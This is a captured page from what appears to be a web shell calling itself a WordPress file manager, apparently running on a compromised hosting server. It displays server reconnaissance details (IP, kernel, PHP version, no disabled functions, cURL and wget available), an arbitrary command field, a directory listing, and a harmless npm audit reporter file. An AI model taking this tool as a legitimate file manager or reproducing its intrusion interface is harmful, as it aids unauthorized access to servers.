GRAYBYTE WORDPRESS FILE MANAGER5303

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /lib/node_modules/npm/node_modules/npm-audit-report/reporters/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /lib/node_modules/npm/node_modules/npm-audit-report/reporters//install.js
'use strict'

const Utils = require('../lib/utils')

module.exports = report
function report (data, options) {
  let msg = summary(data, options)
  if (!Object.keys(data.advisories).length) {
    return {
      report: msg,
      exitCode: 0
    }
  } else {
    msg += '\n  run `npm audit fix` to fix them, or `npm audit` for details'
    return {
      report: msg,
      exitCode: 1
    }
  }
}

module.exports.summary = summary
function summary (data, options) {
  const defaults = {
    severityThreshold: 'info'
  }

  const config = Object.assign({}, defaults, options)

  function clr (str, clr) { return Utils.color(str, clr, config.withColor) }
  function green (str) { return clr(str, 'brightGreen') }
  function red (str) { return clr(str, 'brightRed') }

  let output = ''

  const log = function (value) {
    output = output + value + '\n'
  }

  output += 'found '

  if (Object.keys(data.advisories).length === 0) {
    log(`${green('0')} vulnerabilities`)
    return output
  } else {
    const total = Utils.totalVulnCount(data.metadata.vulnerabilities)
    const sev = Utils.severities(data.metadata.vulnerabilities)

    if (sev.length > 1) {
      const severities = sev.map((value) => {
        return `${value[1]} ${Utils.severityLabel(value[0], config.withColor).toLowerCase()}`
      }).join(', ')
      log(`${red(total)} vulnerabilities (${severities})`)
    } else {
      const vulnCount = sev[0][1]
      const vulnLabel = Utils.severityLabel(sev[0][0], config.withColor).toLowerCase()
      log(`${vulnCount} ${vulnLabel} severity vulnerabilit${vulnCount === 1 ? 'y' : 'ies'}`)
    }
  }
  return output.trim()
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 03 2024 22:36:29
root / root
0755
detail.js
6.376 KB
March 10 2021 14:36:40
root / root
0644
install.js
1.606 KB
March 10 2021 14:36:40
root / root
0644
json.js
0.277 KB
March 10 2021 14:36:40
root / root
0644
parseable.js
2.949 KB
March 10 2021 14:36:40
root / root
0644
quiet.js
0.259 KB
March 10 2021 14:36:40
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF